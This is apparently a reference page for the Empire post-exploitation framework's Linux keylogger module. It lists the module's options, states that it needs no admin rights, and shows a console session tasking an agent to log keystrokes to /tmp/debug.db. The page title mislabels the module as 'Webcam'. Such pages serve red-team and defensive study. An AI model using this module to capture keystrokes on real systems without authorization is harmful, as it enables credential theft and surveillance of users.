Webcam - Empire Module
This page contains detailed information about how to use the python/collection/linux/keylogger Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Webcam
Module: python/collection/linux/keylogger
Source code:
empire/server/modules/python/collection/linux/keylogger.yaml
MITRE ATT&CK:
T1056
Language: Python
Needs admin: No
OPSEC safe: No
Background: No
The keylogger module logs keystrokes to the specified file. Ruby based and heavily adapted from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging is finished and download the specified LogFile.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the keylogger module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the keylogger module:
Agent
Agent to keylog.
LogFile
Text file to log keystrokes out to.
Default value: /tmp/debug.db
.
Keylogger Example Usage
Here's an example of how to use the keylogger module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/collection/linux/keylogger
Author joev
@harmj0y
Background False
Comments https://github.com/amoffat/pykeylogger
Description Logs keystrokes to the specified file. Ruby based and heavily adapted
from MSF's osx/capture/keylog_recorder. Kill the resulting PID when
keylogging is finished and download the specified LogFile.
Language python
Name python/collection/linux/keylogger
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1056
,Record Options-----------,----------,-------------------------------------,
| Name | Value | Required | Description |
|---------|---------------|----------|-------------------------------------|
| Agent | | True | Agent to keylog. |
|---------|---------------|----------|-------------------------------------|
| LogFile | /tmp/debug.db | True | Text file to log keystrokes out to. |
'---------'---------------'----------'-------------------------------------'
(Empire: usemodule/python/collection/linux/keylogger) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/collection/linux/keylogger) > set LogFile /tmp/debug.db
[*] Set LogFile to /tmp/debug.db
(Empire: usemodule/python/collection/linux/keylogger) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
- joev
- @harmj0y
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/collection/linux/keylogger.yaml
- https://github.com/amoffat/pykeylogger
- http://attack.mitre.org/techniques/T1056
See Also
Check also the following modules related to this module:
- python/collection/linux/sniffer
- python/collection/linux/hashdump
- python/collection/linux/xkeylogger
- python/collection/linux/pillage_user
- python/collection/linux/mimipenguin
- python/collection/osx/keylogger
- powershell/collection/keylogger
- python/privesc/linux/linux_priv_checker
- python/privesc/linux/unix_privesc_check
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.